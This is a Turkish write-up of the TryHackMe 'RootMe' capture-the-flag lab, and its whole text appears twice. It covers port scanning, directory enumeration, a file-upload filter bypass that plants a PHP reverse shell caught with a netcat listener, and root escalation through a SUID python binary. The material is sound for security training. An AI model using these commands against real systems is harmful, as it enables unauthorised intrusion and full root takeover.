Selamlar. Bu gün tryhackme de bulunan Rootme Ctf sini Çözeceğiz.
İlk Olarak Vpn çekiyoruz.
Bizden İstenenler Bunlar:
1-Kaç Port Açık Olduğu
2- Apache'nin hangi sürümü çalıştığı
3- 22 numaralı bağlantı noktasında hangi hizmette çalıştığı
4- GoBuster aracını kullanarak web sunucusundaki dizinleri
5- Gizli Dizini
6- user.txt deki flag i
7- SUID iznine sahip dosyaları arayın, hangi dosya garip olduğu
8- Yetki Alacağımız Formu
9- Root Flag i
Herkesin İp Si Farklı Olabilir
Başlayalım.
nmap -A -T4 10.10.71.92 ile nmap taraması yapıldığında 22 ve 80 portunun açık olduğu görülüyor. Apache http sunucu versiyonu 2.4.29 olduğu görülüyor.
gobuster dir -u 10.10.71.92 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt komutu ile ilgili web siteyi ait uzantıları aratılır.
10.10.71.82/panel sayfasında dosya yükleme paneli bulunuyor. 10.10.71.82/index.php sayfası açıldığı için sayfanın php ile yazıldığı biliniyor. Php reverse shell komut dosyası kullanılarak bağlantı sağlanılabilir. Bunun için pentest monkey’in php reverse shell kodunu kullandım. Dosya yüklenmek istendiğinde izin verilmiyor.
Dosya adı uzantısı değiştirilerek file upload bypass işlemi yapılabilir. Bu yüzden php-reverse-shell.php dosyasının adı php-reverse-shell.php5 yapıldığında yükleme işlemi başarı ile gerçekleşiyor.
Yüklemi işlemi yapılmadan önce dikkat edilmesi gereken nokta php reverse shell kodunda ip adresi kısmının kendi ip adresiniz ile değiştiriniz. Port kısmına dinleme yapacağınız portu giriniz.
Dosyanın yüklenip yüklenmediği 10.10.71.92/uploads sayfasından kontrol edilebilir. nc -lvnp 1234 komutuyla 1234 portunda netcat ile dinleme başlatılır. Bu sayfadan yüklenilen php-reverse-shell.php5 dosyasına tıklanır ve netcat bağlantısı sağlanır.
python -c ‘import pty;pty.spawn(“/bin/bash”)’ ile bağlantı stabil hale getirilir. Diğer shell komutlarına göz atmak isterseniz netsec sayfasını inceleyebilirsiniz.
find / -type f -name user.txt ile flag dosyası aratılır.
cat /var/www/user.txt ile user flag’ı görüntülenir.
find / -user root -perm /4000 ile root yetkisi edilecek dosyalar araştırılır.
Burada /usr/bin/python dikkat çekiyor. Bu yolun daha doğru yazımı /usr/bin/env python şeklindedir. Daha detaylı bilgi almak için shebang adlı makaleyi inceleyebilirsiniz.
GTFOBins sayfasında python üzerinden yetki yükseltme ile ilgili komut bulunuyor.
python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ ile yetki yükseltilir.
cat /root/root.txt ile root flag’ına ulaşılınır.
TryHackMe | RootMe
İlk Olarak Vpn çekiyoruz.
Bizden İstenenler Bunlar:
1-Kaç Port Açık Olduğu
2- Apache'nin hangi sürümü çalıştığı
3- 22 numaralı bağlantı noktasında hangi hizmette çalıştığı
4- GoBuster aracını kullanarak web sunucusundaki dizinleri
5- Gizli Dizini
6- user.txt deki flag i
7- SUID iznine sahip dosyaları arayın, hangi dosya garip olduğu
8- Yetki Alacağımız Formu
9- Root Flag i
Herkesin İp Si Farklı Olabilir
Başlayalım.
nmap -A -T4 10.10.71.92 ile nmap taraması yapıldığında 22 ve 80 portunun açık olduğu görülüyor. Apache http sunucu versiyonu 2.4.29 olduğu görülüyor.
gobuster dir -u 10.10.71.92 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt komutu ile ilgili web siteyi ait uzantıları aratılır.
10.10.71.82/panel sayfasında dosya yükleme paneli bulunuyor. 10.10.71.82/index.php sayfası açıldığı için sayfanın php ile yazıldığı biliniyor. Php reverse shell komut dosyası kullanılarak bağlantı sağlanılabilir. Bunun için pentest monkey’in php reverse shell kodunu kullandım. Dosya yüklenmek istendiğinde izin verilmiyor.
Dosya adı uzantısı değiştirilerek file upload bypass işlemi yapılabilir. Bu yüzden php-reverse-shell.php dosyasının adı php-reverse-shell.php5 yapıldığında yükleme işlemi başarı ile gerçekleşiyor.
Yüklemi işlemi yapılmadan önce dikkat edilmesi gereken nokta php reverse shell kodunda ip adresi kısmının kendi ip adresiniz ile değiştiriniz. Port kısmına dinleme yapacağınız portu giriniz.
Dosyanın yüklenip yüklenmediği 10.10.71.92/uploads sayfasından kontrol edilebilir. nc -lvnp 1234 komutuyla 1234 portunda netcat ile dinleme başlatılır. Bu sayfadan yüklenilen php-reverse-shell.php5 dosyasına tıklanır ve netcat bağlantısı sağlanır.
python -c ‘import pty;pty.spawn(“/bin/bash”)’ ile bağlantı stabil hale getirilir. Diğer shell komutlarına göz atmak isterseniz netsec sayfasını inceleyebilirsiniz.
find / -type f -name user.txt ile flag dosyası aratılır.
cat /var/www/user.txt ile user flag’ı görüntülenir.
find / -user root -perm /4000 ile root yetkisi edilecek dosyalar araştırılır.
Burada /usr/bin/python dikkat çekiyor. Bu yolun daha doğru yazımı /usr/bin/env python şeklindedir. Daha detaylı bilgi almak için shebang adlı makaleyi inceleyebilirsiniz.
GTFOBins sayfasında python üzerinden yetki yükseltme ile ilgili komut bulunuyor.
python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ ile yetki yükseltilir.
cat /root/root.txt ile root flag’ına ulaşılınır.
TryHackMe | RootMe